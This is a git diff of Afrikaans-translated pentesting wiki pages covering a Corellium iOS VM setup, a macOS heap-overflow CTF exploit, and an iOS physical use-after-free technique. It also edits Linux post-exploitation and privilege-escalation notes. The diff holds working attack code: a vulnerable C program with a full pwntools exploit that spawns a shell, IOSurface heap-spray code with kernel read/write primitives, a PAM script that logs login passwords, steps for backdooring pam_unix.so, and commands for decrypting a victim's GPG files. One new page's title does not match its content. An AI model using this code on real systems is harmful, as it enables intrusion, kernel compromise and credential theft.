+// Node.js (pseudo) using Corellium Agent
+await agent.upload("./app.ipa", "/var/tmp/app.ipa");
+await agent.install("/var/tmp/app.ipa", (progress, status) => {
+console.log(progress, status);
+});
+```
+### Path C — **Non-jailbroken (proper signing / Sideloadly)**
+- As jy nie 'n provisioning profile het nie, gebruik **Sideloadly** om weer te onderteken met jou Apple ID, of teken in Xcode aan.
+- Jy kan ook die VM aan Xcode blootstel met **USBFlux** (sien §5).
+
+
+- Vir vinnige logs/kommando's sonder **SSH**, gebruik die toestel **Console** in die UI.
+
+## **Ekstra**
+
+- **Port-forwarding** (maak die VM vir ander gereedskap plaaslik voel):
+```bash
+# Forward local 2222 -> device 22
+ssh -N -L 2222:127.0.0.1:22 root@10.11.1.1
+# Now you can: scp -P 2222 file root@10.11.1.1:/var/root/
+```
+- **LLDB remote debugging**: gebruik die **LLDB/GDB stub** adres wat onderaan die toestelbladsy vertoon word (CONNECT → LLDB).
+
+- **USBFlux (macOS/Linux)**: stel die VM aan **Xcode/Sideloadly** voor as 'n gekabelde toestel.
+
+
+## **Algemene struikelblokke**
+- **Proper signing** is required on **non-jailbroken** devices; unsigned IPAs sal nie begin nie.
+- **Quick Connect vs VPN**: Quick Connect is die eenvoudigste; gebruik **VPN** wanneer jy die toestel op jou plaaslike netwerk nodig het (bv., lokale proxies/tools).
+- **No App Store** on Corellium devices; neem jou eie (re)signed IPAs saam。
+
+
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md
new file mode 100644
index 000000000..27c592556
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/ios-example-heap-exploit.md
@@ -0,0 +1,205 @@
+# iOS Hoe om verbinding te maak met Corellium
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Vuln Code
+```c
+#define _GNU_SOURCE
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+__attribute__((noinline))
+static void safe_cb(void) {
+puts("[*] safe_cb() called — nothing interesting here.");
+}
+
+__attribute__((noinline))
+static void win(void) {
+puts("[+] win() reached — spawning shell...");
+fflush(stdout);
+system("/bin/sh");
+exit(0);
+}
+
+typedef void (*cb_t)(void);
+
+typedef struct {
+cb_t cb;          // <--- Your target: overwrite this with win()
+char tag[16];     // Cosmetic (helps make the chunk non-tiny)
+} hook_t;
+
+static void fatal(const char *msg) {
+perror(msg);
+exit(1);
+}
+
+int main(void) {
+// Make I/O deterministic
+setvbuf(stdout, NULL, _IONBF, 0);
+
+// Print address leak so exploit doesn't guess ASLR
+printf("[*] LEAK win() @ %p\n", (void*)&win);
+
+// 1) Allocate the overflow buffer
+size_t buf_sz = 128;
+char *buf = (char*)malloc(buf_sz);
+if (!buf) fatal("malloc buf");
+memset(buf, 'A', buf_sz);
+
+// 2) Allocate the hook object (likely adjacent in same magazine/size class)
+hook_t *h = (hook_t*)malloc(sizeof(hook_t));
+if (!h) fatal("malloc hook");
+h->cb = safe_cb;
+memcpy(h->tag, "HOOK-OBJ", 8);
+
+// A tiny bit of noise to look realistic (and to consume small leftover holes)
+void *spacers[16];
+for (int i = 0; i < 16; i++) {
+spacers[i] = malloc(64);
+if (spacers[i]) memset(spacers[i], 0xCC, 64);
+}
+
+puts("[*] You control a write into the 128B buffer (no bounds check).");
+puts("[*] Enter payload length (decimal), then the raw payload bytes.");
+
+// 3) Read attacker-chosen length and then read that many bytes → overflow
+char line[64];
+if (!fgets(line, sizeof(line), stdin)) fatal("fgets");
+unsigned long n = strtoul(line, NULL, 10);
+
+// BUG: no clamp to 128
+ssize_t got = read(STDIN_FILENO, buf, n);
+if (got < 0) fatal("read");
+printf("[*] Wrote %zd bytes into 128B buffer.\n", got);
+
+// 4) Trigger: call the hook's callback
+puts("[*] Calling h->cb() ...");
+h->cb();
+
+puts("[*] Done.");
+return 0;
+}
+```
+Kompileer dit met:
+```bash
+clang -O0 -Wall -Wextra -std=c11 -o heap_groom vuln.c
+```
+## Exploit
+
+> [!WARNING]
+> Hierdie exploit stel die omgewingsveranderlike `MallocNanoZone=0` om die NanoZone uit te skakel. Dit is nodig om aangrensende toewysings te kry wanneer `malloc` met klein groottes aangeroep word. Sonder dit sal verskillende mallocs in verskillende zones toegeken word en sal nie aangrensend wees nie, en daarom sal die overflow nie werk soos verwag nie.
+```python
+#!/usr/bin/env python3
+# Heap overflow exploit for macOS ARM64 CTF challenge
+#
+# Vulnerability: Buffer overflow in heap-allocated buffer allows overwriting
+# a function pointer in an adjacent heap chunk.
+#
+# Key insights:
+# 1. macOS uses different heap zones for different allocation sizes
+# 2. The NanoZone must be disabled (MallocNanoZone=0) to get predictable layout
+# 3. With spacers allocated after main chunks, the distance is 560 bytes (432 padding needed)
+#
+from pwn import *
+import re
+import sys
+import struct
+import platform
+
+# Detect architecture and set context accordingly
+if platform.machine() == 'arm64' or platform.machine() == 'aarch64':
+context.clear(arch='aarch64')
+else:
+context.clear(arch='amd64')
+
+BIN = './heap_groom'
+
+def parse_leak(line):
+m = re.search(rb'win\(\) @ (0x[0-9a-fA-F]+)', line)
+if not m:
+log.failure("Couldn't parse leak")
+sys.exit(1)
+return int(m.group(1), 16)
+
+def build_payload(win_addr, extra_pad=0):
+# We want: [128 bytes padding] + [optional padding for heap metadata] + [overwrite cb pointer]
+padding = b'A' * 128
+if extra_pad:
+padding += b'B' * extra_pad
+# Add the win address to overwrite the function pointer
+payload = padding + p64(win_addr)
+return payload
+
+def main():
+# On macOS, we need to disable the Nano zone for adjacent allocations
+import os
+env = os.environ.copy()
+env['MallocNanoZone'] = '0'
+
+# The correct padding with MallocNanoZone=0 is 432 bytes
+# This makes the total distance 560 bytes (128 buffer + 432 padding)
+# Try the known working value first, then alternatives in case of heap variation
+candidates = [
+432,    # 560 - 128 = 432 (correct padding with spacers and NanoZone=0)
+424,    # Try slightly less in case of alignment differences
+440,    # Try slightly more
+416,    # 16 bytes less
+448,    # 16 bytes more
+0,      # Direct adjacency (unlikely but worth trying)
+]
+
+log.info("Starting heap overflow exploit for macOS...")
+
+for extra in candidates:
+log.info(f"Trying extra_pad={extra} with MallocNanoZone=0")
+p = process(BIN, env=env)
+
+# Read leak line
+leak_line = p.recvline()
+win_addr = parse_leak(leak_line)
+log.success(f"win() @ {hex(win_addr)}")
+
+# Skip prompt lines
+p.recvuntil(b"Enter payload length")
+p.recvline()
+
+# Build and send payload
+payload = build_payload(win_addr, extra_pad=extra)
+total_len = len(payload)
+
+log.info(f"Sending {total_len} bytes (128 base + {extra} padding + 8 pointer)")
+
+# Send length and payload
+p.sendline(str(total_len).encode())
+p.send(payload)
+
+# Check if we overwrote the function pointer successfully
+try:
+output = p.recvuntil(b"Calling h->cb()", timeout=0.5)
+p.recvline(timeout=0.5)  # Skip the "..." part
+
+# Check if we hit win()
+response = p.recvline(timeout=0.5)
+if b"win() reached" in response:
+log.success(f"SUCCESS! Overwrote function pointer with extra_pad={extra}")
+log.success("Shell spawned, entering interactive mode...")
+p.interactive()
+return
+elif b"safe_cb() called" in response:
+log.info(f"Failed with extra_pad={extra}, safe_cb was called")
+else:
+log.info(f"Failed with extra_pad={extra}, unexpected response")
+except:
+log.info(f"Failed with extra_pad={extra}, likely crashed")
+
+p.close()
+
+log.failure("All padding attempts failed. The heap layout might be different.")
+log.info("Try running the exploit multiple times as heap layout can be probabilistic.")
+
+if __name__ == '__main__':
+main()
+```
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
new file mode 100644
index 000000000..b74e61bc4
--- /dev/null
+++ b/src/binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md
@@ -0,0 +1,215 @@
+# iOS Physical Use-After-Free via IOSurface
+
+{{#include ../../banners/hacktricks-training.md}}
+
+
+## Physical use-after-free
+
+Dit is 'n opsomming van die pos by [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html). Boonop is verdere inligting oor exploits wat hierdie tegniek gebruik te vinde by [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
+
+### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
+
+Die virtuele geheue-adresruimte vir gebruikersprosesse op iOS strek van **0x0 tot 0x8000000000**. Hierdie adresse kaart egter nie direk na fisiese geheue nie. In plaas daarvan gebruik die kernel **page tables** om virtuele adresse na werklike **fisiese adresse** te vertaal.
+
+#### Levels of Page Tables in iOS
+
+Page tables is hiërargies georganiseer in drie vlakke:
+
+1. **L1 Page Table (Level 1)**:
+* Elke inskrywing hier verteenwoordig 'n groot reikafstand van virtuele geheue.
+* Dit dek **0x1000000000 bytes** (of **256 GB**) van virtuele geheue.
+2. **L2 Page Table (Level 2)**:
+* 'n Inskrywing hier verteenwoordig 'n kleiner streek van virtuele geheue, spesifiek **0x2000000 bytes** (32 MB).
+* 'n L1-inskrywing kan na 'n L2-tabel wys as dit nie die hele streek self kan karteer nie.
+3. **L3 Page Table (Level 3)**:
+* Dit is die fynste vlak, waar elke inskrywing 'n enkele **4 KB** geheuebladsy karteer.
+* 'n L2-inskrywing kan na 'n L3-tabel wys as meer gedetailleerde beheer nodig is.
+
+#### Mapping Virtual to Physical Memory
+
+* **Direct Mapping (Block Mapping)**:
+* Sommige inskrywings in 'n page table karteer direk 'n reeks virtuele adresse na 'n aaneenlopende reeks fisiese adresse (soort van kortpad).
+* **Pointer to Child Page Table**:
+* As fynere beheer nodig is, kan 'n inskrywing in een vlak (bv. L1) na 'n **child page table** op die volgende vlak (bv. L2) wys.
+
+#### Example: Mapping a Virtual Address
+
+Kom ons sê jy probeer toegang kry tot die virtuele adres **0x1000000000**:
+
+1. **L1 Table**:
+* Die kernel kyk na die L1 page table-inskrywing wat ooreenstem met hierdie virtuele adres. As dit 'n **pointer to an L2 page table** bevat, gaan dit na daardie L2-tabel.
+2. **L2 Table**:
+* Die kernel kyk die L2 page table vir 'n meer gedetailleerde kartering. As hierdie inskrywing na 'n **L3 page table** wys, gaan dit daarheen.
+3. **L3 Table**:
+* Die kernel soek die finale L3-inskrywing, wat na die **fisiese adres** van die werklike geheuebladsy wys.
+
+#### Example of Address Mapping
+
+As jy die fisiese adres **0x800004000** in die eerste indeks van die L2-tabel skryf, dan:
+
+* Virtuele adresse van **0x1000000000** tot **0x1002000000** karteer na fisiese adresse van **0x800004000** tot **0x802004000**.
+* Dit is 'n **block mapping** op die L2-vlak.
+
+Alternatiewelik, as die L2-inskrywing na 'n L3-tabel wys:
+
+* Elke 4 KB-bladsy in die virtuele adresreeks **0x1000000000 -> 0x1002000000** sou deur individuele inskrywings in die L3-tabel gekarteer word.
+
+### Physical use-after-free
+
+'n **Physical use-after-free** (UAF) gebeur wanneer:
+
+1. 'n Proses **alloceer** sekere geheue as **readable and writable**.
+2. Die **page tables** word opgedateer om hierdie geheue na 'n spesifieke fisiese adres te karteer wat die proses kan toegang.
+3. Die proses **dealloceer** (vry) die geheue.
+4. Weens 'n **bug**, vergeet die kernel egter om die kartering uit die page tables te verwyder, al merk dit die ooreenstemmende fisiese geheue as vry.
+5. Die kernel kan dan hierdie "vrygemaakte" fisiese geheue **heralloceer** vir ander doeleindes, soos **kernel data**.
+6. Aangesien die kartering nie verwyder is nie, kan die proses steeds **lees en skryf** na daardie fisiese geheue.
+
+Dit beteken die proses kan toegang hê tot **bladsye van kernel memory**, wat sensitiewe data of strukture kan bevat, en moontlik 'n aanvaller toelaat om **kernel memory te manipuleer**.
+
+### IOSurface Heap Spray
+
+Aangesien die aanvaller nie kan beheer watter spesifieke kernel-bladsye aan vrygemaakte geheue toegeken sal word nie, gebruik hulle 'n tegniek genaamd **heap spray**:
+
+1. Die aanvaller **skep 'n groot aantal IOSurface objects** in kernel memory.
+2. Elke IOSurface-object bevat 'n **magic value** in een van sy velde, wat dit maklik maak om te identifiseer.
+3. Hulle **scan die vrygemaakte bladsye** om te sien of enige van hierdie IOSurface-objects op 'n vrygemaakte bladsy geland het.
+4. Wanneer hulle 'n IOSurface-object op 'n vrygemaakte bladsy vind, kan hulle dit gebruik om **kernel memory te lees en skryf**.
+
+Meer inligting hieroor by [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
+
+> [!TIP]
+> Wees bewus dat iOS 16+ (A12+) toestelle hardeware-mitigasies bring (soos PPL of SPTM) wat physical UAF-tegnieke baie minder lewensvatbaar maak.
+> PPL afdwing streng MMU-beskermings op bladsye wat verband hou met code signing, entitlements, en sensitiewe kernel data, so selfs as 'n bladsy hergebruik word, word skryfoperasies vanaf userland of gekompromitteerde kernel-kode na PPL-beskermde bladsye geblokkeer.
+> Secure Page Table Monitor (SPTM) brei PPL uit deur page table-updates self te verhinder. Dit verseker dat selfs bevoorregte kernel-kode nie stilweg vrygemaakte bladsye kan herkarreer of mappings kan verander sonder deur veilige kontroles te gaan nie.
+> KTRR (Kernel Text Read-Only Region) sluit die kernel se kodesegment na opstart as read-only. Dit voorkom enige runtime-wysigings aan kernel-kode en sluit 'n groot aanvalsvlak wat physical UAF-exploits dikwels benut, af.
+> Verder is IOSurface-allocations minder voorspelbaar en moeiliker om in user-accessible areas te karteer, wat die “magic value scanning”-truuk baie minder betroubaar maak. En IOSurface is nou beskerm deur entitlements en sandbox-restriksies.
+
+### Step-by-Step Heap Spray Process
+
+1. **Spray IOSurface Objects**: Die aanvaller skep baie IOSurface-objects met 'n spesiale identifiseerder ("magic value").
+2. **Scan Freed Pages**: Hulle kontroleer of enige van die objects op 'n vrygemaakte bladsy toegeken is.
+3. **Read/Write Kernel Memory**: Deur velde in die IOSurface-object te manipuleer, kry hulle die vermoë om **arbitrary reads and writes** in kernel memory uit te voer. Dit laat hulle toe om:
+* Een veld te gebruik om **enige 32-bit waarde** in kernel memory te lees.
+* 'n Ander veld te gebruik om **64-bit waardes te skryf**, waarmee 'n stabiele **kernel read/write primitive** bereik word.
+
+Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
+```c
+void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
+if (*nClients >= 0x4000) return;
+for (int i = 0; i < nSurfaces; i++) {
+fast_create_args_t args;
+lock_result_t result;
+
+size_t size = IOSurfaceLockResultSize;
+args.address = 0;
+args.alloc_size = *nClients + 1;
+args.pixel_format = IOSURFACE_MAGIC;
+
+IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
+io_connect_t id = result.surface_id;
+
+(*clients)[*nClients] = id;
+*nClients = (*nClients) += 1;
+}
+}
+```
+Soek na **`IOSurface`**-objekte in 'n vrygemaakte fisiese bladsy:
+```c
+int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
+io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
+int nSurfaceIDs = 0;
+
+for (int i = 0; i < 0x400; i++) {
+spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
+
+for (int j = 0; j < nPages; j++) {
+uint64_t start = puafPages[j];
+uint64_t stop = start + (pages(1) / 16);
+
+for (uint64_t k = start; k < stop; k += 8) {
+if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
+info.object = k;
+info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
+if (self_task) *self_task = iosurface_get_receiver(k);
+goto sprayDone;
+}
+}
+}
+}
+
+sprayDone:
+for (int i = 0; i < nSurfaceIDs; i++) {
+if (surfaceIDs[i] == info.surface) continue;
+iosurface_release(client, surfaceIDs[i]);
+}
+free(surfaceIDs);
+
+return 0;
+}
+```
+### Bereik Kernel Read/Write met IOSurface
+
+Nadat ons beheer oor 'n IOSurface-objek in kernel memory (gemap na 'n vrygemaakte fisiese bladsy wat vanaf userspace toeganklik is) bereik het, kan ons dit gebruik vir arbitrêre kernel read and write operations.
+
+**Key Fields in IOSurface**
+
+Die IOSurface-objek het twee belangrike velde:
+
+1. **Use Count Pointer**: Laat 'n **32-bit read** toe.
+2. **Indexed Timestamp Pointer**: Laat 'n **64-bit write** toe.
+
+Deur hierdie pointers oor te skryf, herlei ons hulle na arbitrêre adresse in kernel memory, wat read/write-vaardighede moontlik maak.
+
+#### 32-Bit Kernel Read
+
+Om 'n read uit te voer:
+
+1. Oorskryf die **use count pointer** sodat dit na die teikenadres minus 'n 0x14-byte offset wys.
+2. Gebruik die `get_use_count` method om die waarde by daardie adres te read.
+```c
+uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
+uint64_t args[1] = {surfaceID};
+uint32_t size = 1;
+uint64_t out = 0;
+IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
+return (uint32_t)out;
+}
+
+uint32_t iosurface_kread32(uint64_t addr) {
+uint64_t orig = iosurface_get_use_count_pointer(info.object);
+iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
+uint32_t value = get_use_count(info.client, info.surface);
+iosurface_set_use_count_pointer(info.object, orig);
+return value;
+}
+```
+#### 64-Bit Kernel Write
+
+Om 'n skryf uit te voer:
+
+1. Oorskryf die **indexed timestamp pointer** na die teikenadres.
+2. Gebruik die `set_indexed_timestamp` metode om 'n 64-bit-waarde te skryf.
+```c
+void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
+uint64_t args[3] = {surfaceID, 0, value};
+IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
+}
+
+void iosurface_kwrite64(uint64_t addr, uint64_t value) {
+uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
+iosurface_set_indexed_timestamp_pointer(info.object, addr);
+set_indexed_timestamp(info.client, info.surface, value);
+iosurface_set_indexed_timestamp_pointer(info.object, orig);
+}
+```
+#### Exploit Flow Opsomming
+
+1. **Trigger Physical Use-After-Free**: Vrye bladsye is beskikbaar vir hergebruik.
+2. **Spray IOSurface Objects**: Allokeer baie IOSurface objects met 'n unieke "magic value" in kernel memory.
+3. **Identify Accessible IOSurface**: Lokaliseer 'n IOSurface op 'n vrygemaakte bladsy wat jy beheer.
+4. **Abuse Use-After-Free**: Wysig pointers in die IOSurface object om arbitraire **kernel read/write** via IOSurface-metodes moontlik te maak.
+
+Met hierdie primitiewe verskaf die exploit beheerde **32-bit reads** en **64-bit writes** na kernel memory. Verdere jailbreak-stappe kan meer stabiele read/write primitiewe behels, wat mag vereis dat addisionele beskermings omseil word (bv. PPL op nuwer arm64e devices).
+
+{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/linux-hardening/linux-post-exploitation/README.md b/src/linux-hardening/linux-post-exploitation/README.md
index f6e288701..ca436eb6e 100644
--- a/src/linux-hardening/linux-post-exploitation/README.md
+++ b/src/linux-hardening/linux-post-exploitation/README.md
@@ -4,8 +4,7 @@
 
 ## Sniffing Logon Passwords with PAM
 
-Kom ons konfigureer 'n PAM-module om elke wagwoord wat 'n gebruiker gebruik om aan te meld, te log. As jy nie weet wat PAM is nie, kyk:
-
+Laat ons 'n PAM-module konfigureer om elke wagwoord wat 'n gebruiker gebruik om aan te meld te log. As jy nie weet wat PAM is nie, kyk:
 
 {{#ref}}
 pam-pluggable-authentication-modules.md
@@ -13,14 +12,14 @@ pam-pluggable-authentication-modules.md
 
 **For further details check the [original post](https://embracethered.com/blog/posts/2022/post-exploit-pam-ssh-password-grabbing/)**. This is just a summary:
 
-**Oorsig van die tegniek:**
-Pluggable Authentication Modules (PAM) bied buigbaarheid in die bestuur van verifikasie op Unix-gebaseerde stelsels. Hulle kan sekuriteit verbeter deur aanmeldprosesse aan te pas, maar dra ook risiko's as hulle misbruik word. Hierdie opsomming beskryf 'n tegniek om aanmeldbewyse met PAM vas te vang, sowel as versagtingsmaatreëls.
+**Technique Overview:**
+Pluggable Authentication Modules (PAM) offer flexibility in managing authentication on Unix-based systems. They can enhance security by customizing login processes but also pose risks if misused. This summary outlines a technique to capture login credentials using PAM, alongside mitigation strategies.
 
-**Vasvang van aanmeldbewyse:**
+**Capturing Credentials:**
 
-- 'n bash-script met die naam `toomanysecrets.sh` word geskep om aanmeldpogings te log, deur die datum, gebruikersnaam (`$PAM_USER`), wagwoord (via stdin), en die remote host IP (`$PAM_RHOST`) na `/var/log/toomanysecrets.log` vas te lê.
-- Die script word uitvoerbaar gemaak en in die PAM-konfigurasie (`common-auth`) geïntegreer met behulp van die `pam_exec.so` module, met opsies om stil te hardloop en die verifikasie-token aan die script bloot te stel.
-- Die benadering demonstreer hoe 'n gekompromitteerde Linux-host misbruik kan word om aanmeldbewyse diskreet te log.
+- 'n bash script met die naam `toomanysecrets.sh` word geskryf om aanmeldpogings te log, en vang die datum, gebruikersnaam (`$PAM_USER`), wagwoord (via stdin), en afgeleë gasheer-IP (`$PAM_RHOST`) na `/var/log/toomanysecrets.log`.
+- Die script word uitvoerbaar gemaak en geïntegreer in die PAM-konfigurasie (`common-auth`) deur die `pam_exec.so` module te gebruik met opsies om stil te loop en die authentication token aan die script bloot te stel.
+- Die benadering demonstreer hoe 'n gekompromitteerde Linux-host uitgebuit kan word om kredensiale diskreet te log.
 ```bash
 #!/bin/sh
 echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
@@ -32,30 +31,30 @@ sudo chmod 700 /usr/local/bin/toomanysecrets.sh
 ```
 ### Backdooring PAM
 
-**For further details check the [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dit is net 'n opsomming:
+**Vir verdere besonderhede kyk na die [original post](https://infosecwriteups.com/creating-a-backdoor-in-pam-in-5-line-of-code-e23e99579cd9)**. Dit is net 'n samevatting:
 
-Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruiker-autentisering. Dit werk op drie hoofkonsepte: **username**, **password**, en **service**. Konfigurasielêers vir elke service is geleë in die `/etc/pam.d/` gids, waar gedeelde biblioteke die verifikasie hanteer.
+Die Pluggable Authentication Module (PAM) is 'n stelsel wat onder Linux gebruik word vir gebruikersverifikasie. Dit werk op drie hoofkonsepte: **gebruikersnaam**, **wagwoord**, en **diens**. Konfigurasielêers vir elke diens is geleë in die `/etc/pam.d/` gids, waar gedeelde biblioteke verifikasie hanteer.
 
-**Doel**: Wysig PAM om autentisering toe te laat met 'n spesifieke password, en die werklike gebruiker se password omseil. Hierdie metode fokus veral op die `pam_unix.so` gedeelde biblioteek wat deur die `common-auth` lêer gebruik word — die `common-auth` word by byna alle services ingesluit vir password-verifikasie.
+**Doelwit**: Pas PAM aan sodat verifikasie moontlik is met 'n spesifieke wagwoord, en sodoende die werklike gebruikerswagwoord omseil. Dit fokus veral op die gedeelde biblioteek `pam_unix.so` wat deur die `common-auth` lêer gebruik word, en wat by byna alle dienste ingesluit is vir wagwoordverifikasie.
 
-### Steps for Modifying `pam_unix.so`:
+### Stappe om `pam_unix.so` te wysig:
 
-1. **Locate the Authentication Directive** in the `common-auth` file:
-- Die reël wat verantwoordelik is vir die kontrole van 'n gebruiker se password roep `pam_unix.so` aan.
-2. **Modify Source Code**:
-- Voeg 'n voorwaardelike stelling by in die `pam_unix_auth.c` source file wat toegang verleen as 'n vooraf-gedefinieerde password gebruik word; anders gaan dit voort met die gewone autenticatieproses.
-3. **Recompile and Replace** the modified `pam_unix.so` library in the appropriate directory.
-4. **Testing**:
-- Toegang word met die vooraf-gedefinieerde password verleen oor verskeie services (login, ssh, sudo, su, screensaver), terwyl normale authenticatieprosesse ongemoeid gebly het.
+1. **Vind die verifikasie-direktief** in die `common-auth` lêer:
+- Die reël wat verantwoordelik is om 'n gebruiker se wagwoord te kontroleer, roep `pam_unix.so` aan.
+2. **Wysig bronkode**:
+- Voeg 'n voorwaardelike stelling by in die `pam_unix_auth.c` bronlêer wat toegang verleen as 'n voorafbepaalde wagwoord gebruik word; anders gaan dit voort met die gewone verifikasieproses.
+3. **Herkompileer en vervang** die gemodifiseerde `pam_unix.so` biblioteek in die toepaslike gids.
+4. **Toetsing**:
+- Toegang word verleen oor verskeie dienste (login, ssh, sudo, su, screensaver) met die voorafbepaalde wagwoord, terwyl normale verifikasieprosesse onaangeraak bly.
 
 > [!TIP]
-> You can automate this process with [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
+> Jy kan hierdie proses outomatiseer met [https://github.com/zephrax/linux-pam-backdoor](https://github.com/zephrax/linux-pam-backdoor)
 
-## Dekripteer GPG loot via homedir relocation
+## Ontsleuteling van GPG loot deur homedir-verplasing
 
-As jy 'n encrypted `.gpg` file en 'n gebruiker se `~/.gnupg` gids (pubring, private-keys, trustdb) vind, maar nie kan dekripteer weens GnuPG homedir permisies/locks nie, kopieer die keyring na 'n skryfbare ligging en gebruik dit as jou GPG home.
+Indien jy 'n geïnkripteerde `.gpg` lêer en 'n gebruiker se `~/.gnupg` gids (pubring, private-keys, trustdb) vind, maar jy kan nie ontsleutel nie weens GnuPG homedir-permissies/slotte, kopieer die keyring na 'n skryfbare ligging en gebruik dit as jou GPG home.
 
-Tipiese foutboodskappe wat jy kry sonder hierdie stap: "unsafe ownership on homedir", "failed to create temporary file", of "decryption failed: No secret key" (want GPG kan nie die oorspronklike homedir lees/skryf nie).
+Tipiese foutmeldings wat jy sonder dit sal sien: "unsafe ownership on homedir", "failed to create temporary file", of "decryption failed: No secret key" (omdat GPG nie die oorspronklike homedir kan lees/skryf nie).
 
 Werkvloei:
 ```bash
@@ -70,7 +69,8 @@ GNUPGHOME=/dev/shm/fakehome/.gnupg gpg -d /home/victim/backup/secrets.gpg
 # or
 gpg --homedir /dev/shm/fakehome/.gnupg -d /home/victim/backup/secrets.gpg
 ```
-As die geheime sleutelmateriaal in `private-keys-v1.d` teenwoordig is, sal GPG ontsluit en ontsleutel sonder om vir `passphrase` te vra (of dit sal vra as die sleutel beskerm is).
+As die geheime sleutelmateriaal in `private-keys-v1.d` teenwoordig is, sal GPG ontsluit en decrypt sonder om vir 'n passphrase te vra (of dit sal vra as die sleutel beskerm is).
+
 
 ## Verwysings
 
diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md
index c39ea7d69..9a530a539 100644
--- a/src/linux-hardening/privilege-escalation/README.md
+++ b/src/linux-hardening/privilege-escalation/README.md
@@ -6,7 +6,7 @@
 
 ### OS-inligting
 
-Kom ons begin deur inligting oor die OS wat aan die gang is te versamel.
+Kom ons begin om inligting oor die lopende OS te versamel.
 ```bash
 (cat /proc/version || uname -a ) 2>/dev/null
 lsb_release -a 2>/dev/null # old, not by default on many systems
@@ -14,38 +14,38 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
 ```
 ### Pad
 
-As jy **skryfregte op enige gids binne die `PATH`** het, kan jy dalk sekere libraries of binaries hijack:
+As jy **skryfpermissies het op enige gids binne die `PATH`** veranderlike, kan jy dalk sekere libraries of binaries kaap:
 ```bash
 echo $PATH
 ```
 ### Omgewingsinligting
 
-Interessante inligting, wagwoorde of API keys in die omgewingsveranderlikes?
+Interessante inligting, wagwoorde of API-sleutels in die omgewingsveranderlikes?
 ```bash
 (env || set) 2>/dev/null
 ```
 ### Kernel exploits
 
-Kontroleer die kernel version en kyk of daar 'n exploit is wat gebruik kan word om privileges te escalate.
+Kontroleer die kernel-weergawe en kyk of daar 'n exploit is wat gebruik kan word om voorregte te eskaleer
 ```bash
 cat /proc/version
 uname -a
 searchsploit "Linux Kernel"
 ```
-Jy kan 'n goeie lys van kwesbare kernel-weergawes en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) en [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
+Jy kan 'n goeie lys van kwetsbare kernel weergawes en sommige reeds **compiled exploits** hier vind: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) and [exploitdb sploits](https://gitlab.com/exploit-database/exploitdb-bin-sploits).\
 Ander webwerwe waar jy sommige **compiled exploits** kan vind: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
 
-Om al die kwesbare kernel-weergawes vanaf daardie web te onttrek, kan jy die volgende doen:
+Om al die kwetsbare kernel weergawes vanaf daardie web te onttrek kan jy doen:
 ```bash
 curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
 ```
-Gereedskap wat kan help om na kernel exploits te soek, is:
+Gereedskap wat kan help om na kernel-exploits te soek, is:
 
 [linux-exploit-suggester.sh](https://github.com/mzet-/linux-exploit-suggester)\
 [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
-[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (voer op die slagoffer uit, kontroleer slegs exploits vir kernel 2.x)
+[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x)
 
-Soek altyd **die kernel-weergawe op Google**, dalk word jou kernel-weergawe in 'n kernel exploit genoem en dan sal jy seker wees dat hierdie exploit geldig is.
